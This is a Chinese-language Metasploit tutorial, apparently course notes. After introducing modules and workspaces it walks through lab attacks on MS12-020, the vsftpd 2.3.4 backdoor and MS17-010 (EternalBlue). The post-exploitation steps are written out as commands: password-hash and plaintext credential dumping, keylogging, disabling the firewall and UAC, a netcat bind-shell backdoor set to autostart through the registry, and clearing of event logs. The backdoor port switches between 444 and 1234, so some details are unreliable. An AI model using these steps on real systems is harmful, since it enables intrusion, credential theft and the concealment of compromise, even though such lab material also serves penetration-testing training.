一款开源的安全漏洞检测工具,简称MSF。可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台。
集成数千个漏洞利用、辅助测试模块,并保持持续更新。
由著名黑客、安全专家H.D. Moore主导开发
SecTools.Org Top Network Security Tools 排行榜排名第二位
官方网站: Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit 。
在kali中,通过msfconsole进入控制台。
一、MSF漏洞框架常用模块
1)模块
指的是MSF框架中所使用的一段软件代码组件,默认有2000多个漏洞利用模块、1000多个辅助模块,以及好几百个后渗透模块。
2)Auxiliary 辅助
只负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击,不直接在测试机和目标主机之间建立访问。
3)Exploit 漏洞利用
利用目标系统的安全漏洞发起实际的渗透攻击行为,包括用于破坏系统安全的攻击代码,每个漏洞都有相应的攻击代码。
4)Post 后渗透
在取得目标的远程控制权(“得手”)以后,可以进一步实施的攻击动作,如部署后门木马、获取敏感信息、实施跳板攻击等
5)Payloads 载荷
期望目标系统在被攻破以后执行的代码,方便攻击者实施控制;默认采用reverse_tcp反弹式载荷 ,表示从目标主机连接攻击者主机,提供命令行通道;另有bind shell载荷,则会在目标主机监听某个端口,攻击者连接此端口即获取控制权。
6)Evasion 免杀
在渗透测试中实现免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来
7)Encoders 编码器
包含各种编码工具,可以对payload进行编码加密,以便绕过入侵检测和过滤系统。
8)NOPS 空指令
不做任何操作,占位,可生成过防火墙的各种脚本文件。
二、MSF常见的使用及工作区配置
第一步:初始化数据库
[root] msfdb init //初始化数据库
[root] systemctl enable postgresql //开机自启动数据库
[root] systemctl status postgresql //查看数据库状态
[root] msfconsole //进入msf控制台
- 2099 exploits //利用脚本(攻击脚本)
- 1129 auxiliary //辅助脚本(扫描脚本-信息收集)
- 357 post //后渗透
- 592 payloads //载荷
第二步:创建/删除/切换工作区/检索信息
1)管理工作区
msf6 > workspace //查看默认工作区
msf6 > workspace -a xiaolin //创建工作区xiaolin
msf6 > workspace default //切换到default工作区
msf6 > workspace -d xiaolin //删除工作区xiaolin
2)扫描数据
msf6 > db_nmap -A -v 192.168.100.101 //扫描目标
3)查看扫描结果:
msf6 > workspace -v //显示工作区详细信息
msf6 > hosts //查看扫描的主机
msf6 > services -p 80 //过滤端口
msf6 > services -S http //过滤应用程序
msf6 > services //查看所有服务
msf6 > notes //查看记录
举例:
msf6 > workspace -v
Workspaces
==========
当前 名字 主机 服务 记录
current name hosts services vulns creds loots notes
------- ---- ----- -------- ----- ----- ----- -----
* default 1 23 0 0 0 28
msf6 > services -p 80
Services
========
主机 端口 协议 名字 状态 消息
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
msf6 > services -S http
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.143 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
第三、msfconsole基础命令
? //获取帮助
exit //退出MSF控制台
show //查看模块或相关信息
search //搜索模块
use //使用模块
options //列出当前模块的选项
set //设置模块选项
run //运行当前模块
back //返回
msfconsole 常见操作
show exploits //列出所有漏洞利用脚本
show auxiliary //列出所有的辅助脚本
search http //搜索和http 关键词相关的脚本
search smb //搜索和smb 关键词相关的脚本
search EternalBlue //搜索与“永恒之蓝”有关的模块
search EternalBlue type:exploit //过滤出其中的攻击模块
use 0 //使用编号为0的脚本
options //查看当前模块可用的选项
set rhosts 192.168.100.100 //设置远程主机地址
run //运行脚本
三、漏洞的利用案例
案例一:MS12-020 远程桌面漏洞-蓝屏
环境准备: kali一台(攻击) winserver2008(攻击对象)
kali进入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search ms12-020
msf6 > search ms12-020
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS
1 auxiliary/scanner/rdp/ms12_020_check normal Yes MS12-020 Microsoft Remote Desktop Checker
备注:两个辅助脚本,但是这两个脚本作用不一样
一个是ID为0 有一个关键词 DOS ,这个是发起攻击的脚本
一个是ID为1 有一个关键词 scanner ,这个是扫描的脚本
2) 使用漏洞模块
msf6 > use 1
3) 设置攻击目标主机
msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts win2008的IP地址
4)执行攻击
msf6 auxiliary(scanner/rdp/ms12_020_check) > run
5) 检查winserver2008是否蓝屏
案例二:vsftpd 2.3.4 后门漏洞利用CVE-2011-2523
环境准备: kali一台(攻击) 靶机msfadmin-主机(攻击对象)
kali进入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search vsftpd
2) 使用漏洞模块
msf6 > use 0
3) 设置攻击目标主机
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 靶机的IP地址
4)执行攻击
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
5)空白地方输入linux命令看是否可以
pwd ls ifconfig 等等命令,如果可以,证明攻击成功
案例三:MS17-010永恒之蓝漏洞利用
环境准备: kali一台(攻击) winserver2008(攻击对象)
kali进入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search ms17-010
2) 使用漏洞模块
msf6 > use 0
3) 设置攻击目标主机
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 靶机的IP地址
4)执行攻击
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
攻击成功命令行变成:
meterpreter >
1、获取windows 服务器的密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
2、通过kiwi模块获取明文密码
meterpreter > load kiwi //加载kiwi
meterpreter > creds_all //检测所有凭证,该命令可以列举系统中的明文密码
3、屏幕截图和屏幕录制
meterpreter > screenshot //屏幕截图
meterpreter > screenshare //屏幕共享,按快捷键Ctrl + C停止
4、meterpreter环境中,操作远程资源
meterpreter > pwd //查看远程目录位置
meterpreter > lpwd //查看在kali本机的目录
meterpreter > shell //进入目标主机的命令行
5、进程迁移
meterpreter > ps //查看进程列表
meterpreter > ps -S explorer //查找explorer进程(用户权限大、不易被结束)
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2424 2562 explorer.exe x64 1 WIN-53H85RJ4I2T\Administrator C:\Windows\Explorer.EXE
meterpreter > migrate 2424 //进程迁移,将 SYSTEM 权限 迁移为 Administrator
meterpreter > getuid //确认迁移后的用户识别码
备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁
6、执行键盘操作记录
利用后渗透脚本开启键盘记录
meterpreter > run post/windows/capture/keylog_recorder //开启键盘记录后渗透脚本
在 winserver2008 打开记事本,输入任意内容
在 kali 检查是否成功记录
打开新的终端,执行命令检查文件
[root]# cat /root/.msf4/loot/2023042774349_default_192.168.100.100···········
7、 防火墙配置
meterpreter > shell
C:\Windows\system32> chcp 65001 //解决中文乱码
1)关闭防火墙
C:\Windows\system32> netsh advfirewall set allprofiles state off
2) 开启防火墙
C:\Windows\system32>netsh advfirewall set allprofiles state on
3)添加防火墙入站规则,放行444端口
C:\Windows\system32> netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
高级防火墙 防火墙 添加 规则 名字 入站 动作 允许 协议 本地端口
netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
8、 关闭UAC
UAC(User Account Control)用户帐户控制,windows操作系统中一种安全控制机制,可以防止未经授权应用程序的自动安装,阻止恶意程序
winserver2008 检查 UAC 状态
运行中输入 msconfig → 工具 → “更改UAC设置” → 启动
修改注册表项,关闭用户账户控制
c:\windows\system>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
ADD 添加一个注册表项 -v 创建键值
-t 键值类型 -d 键值的值 1开/0关 -f 覆盖现有注册表项
9、在meterpreter 下清除日志
meterpreter > clearev //擦除windows 事件查看器
[*] Wiping 2345 records from Application... //擦除应用日志
[*] Wiping 3564 records from System... //擦除系统日志
[*] Wiping 4521 records from Security... //擦除安全日志
10、持久性后门
NC:(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。可以在两台设备上面相互交互,即侦听模式/传输模式
案例目标:防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,黑客可以通过后门444口远程控制目标主机
1、上传后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe c:/windows/system32
查看上传结果及权限
meterpreter > cd c:/windows/system32
meterpreter > ls nc.exe
2、配置注册表开机自启
在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
第一:添加键值nc
**meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
备注:用注册表配置win-2008系统,nc.exe程序开机自启动
第二:查询有没有nc这个键值,确认是否添加成功
meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
Values (3):
nc //新增的注册表
第三:查询 NC键值的详细数值内容
meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Data: C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe
3、重启win-2008,看nc是否开机自启动
验证:如果1234端口开启代表nc启动成功
打开命令提示符:
C:\Users\Administrator> netstat -an | findstr "1234" //或仅执行 netstat -an,查找1234口
4、后门接入
在 kali 连接 winserver2008,在kali 中打开一个新的终端
[root] nc 2008的IP地址 444
C:\Windows\system32> //成功进入到目标主机命令行
5、清楚痕迹
验证:在事件查看器里面看到的是administrator 的登录信息,可以使用cmd命令清空日志
C:\Windows\system32> wevtutil el //列出日志名称
C:\Windows\system32> wevtutil cl application //清除应用程序日志
C:\Windows\system32> wevtutil cl security //清除安全日志
C:\Windows\system32> wevtutil cl system //清除系统日志